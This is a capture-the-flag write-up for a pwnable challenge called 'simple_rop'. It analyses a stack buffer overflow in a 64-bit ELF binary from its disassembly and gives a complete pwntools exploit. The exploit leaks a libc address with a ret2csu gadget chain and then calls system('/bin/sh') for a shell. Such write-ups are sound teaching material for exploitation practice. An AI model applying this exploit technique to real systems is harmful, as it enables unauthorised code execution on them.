---
# System prepended metadata

title: '[PWNABLE] Simple Rop'

---

# [PWNABLE] Simple Rop
:::warning
Copyrightⓒ2021 by CSTEC. All contents cannot be copied without permission.
:::
## Analysis
This is a challenge that exploits a stack-based buffer overflow vulnerability.
```
❯ rabin2 -I simple_rop
arch     x86
baddr    0x400000
binsz    6428
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true
```
Because NX bit (no-execute) is enabled, data cannot be executed as code, so you need to write ROP (Return Oriented Programming) exploit code.

## Vulnerability
```c
.text:0000000000400537                          ; Attributes: bp-based frame
.text:0000000000400537                          ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400537                          public main
.text:0000000000400537                          main proc near
.text:0000000000400537                          buf= byte ptr -10h
.text:0000000000400537                          ; __unwind {
.text:0000000000400537 000 55                   push    rbp
.text:0000000000400538 008 48 89 E5             mov     rbp, rsp
.text:000000000040053B 008 48 83 EC 10          sub     rsp, 10h
.text:000000000040053F 018 BA 18 00 00 00       mov     edx, 18h        ; n
.text:0000000000400544 018 48 8D 35 B9 00 00 00 lea     rsi, aRopIsFormulaIs ; "ROP is formula isn't it?"
.text:000000000040054B 018 BF 01 00 00 00       mov     edi, 1          ; fd
.text:0000000000400550 018 E8 DB FE FF FF       call    _write
.text:0000000000400555 018 48 8D 45 F0          lea     rax, [rbp+buf]
.text:0000000000400559 018 BA 98 00 00 00       mov     edx, 98h        ; nbytes
.text:000000000040055E 018 48 89 C6             mov     rsi, rax        ; buf
.text:0000000000400561 018 BF 00 00 00 00       mov     edi, 0          ; fd
.text:0000000000400566 018 E8 D5 FE FF FF       call    _read
.text:000000000040056B 018 B8 00 00 00 00       mov     eax, 0
.text:0000000000400570 018 C9                   leave
.text:0000000000400571 000 C3                   retn
.text:0000000000400571                          ; } // starts at 400537
.text:0000000000400571                          main endp
```
A stack-based buffer overflow occurs because 0x98 data is read into the rbp-0x10 local variable area at address 0x400566.

## Exploit
```python
from pwn import *
io = remote('0', 4147)
elf = ELF('./simple_rop')
libc = ELF('./libc-2.27.so')
rop = ROP(libc)
payload = b'A'*0x18
payload += p64(0x4005DA)
'''
.text:00000000004005DA 030 5B                   pop     rbx
.text:00000000004005DB 028 5D                   pop     rbp
.text:00000000004005DC 020 41 5C                pop     r12
.text:00000000004005DE 018 41 5D                pop     r13
.text:00000000004005E0 010 41 5E                pop     r14
.text:00000000004005E2 008 41 5F                pop     r15
.text:00000000004005E4 000 C3                   retn
'''
payload += p64(0)                # rbx
payload += p64(1)                # rbp
payload += p64(elf.got['write']) # r12
payload += p64(1)                # r13
payload += p64(elf.got['read'])  # r14
payload += p64(8)                # r15
payload += p64(0x4005C0)
'''
.text:00000000004005C0 038 4C 89 FA             mov     rdx, r15
.text:00000000004005C3 038 4C 89 F6             mov     rsi, r14
.text:00000000004005C6 038 44 89 EF             mov     edi, r13d
.text:00000000004005C9 038 41 FF 14 DC          call    [r12+rbx*8]
'''
payload += p64(0)*7
payload += p64(0x400450)         # _start
io.sendafter('it?', payload)
leak = u64(io.recv(8))
base = leak - libc.symbols['read']
print('libc base : {:x}'.format(base))
system = base + libc.symbols['system']
poprdi = base + rop.find_gadget(['pop rdi', 'ret'])[0]
binsh = base + next(libc.search(b'/bin/sh\0'))
payload = b'A'*0x18
payload += p64(poprdi + 1)
payload += p64(poprdi)
payload += p64(binsh)
payload += p64(system)
io.sendafter('it?', payload)
io.interactive()
```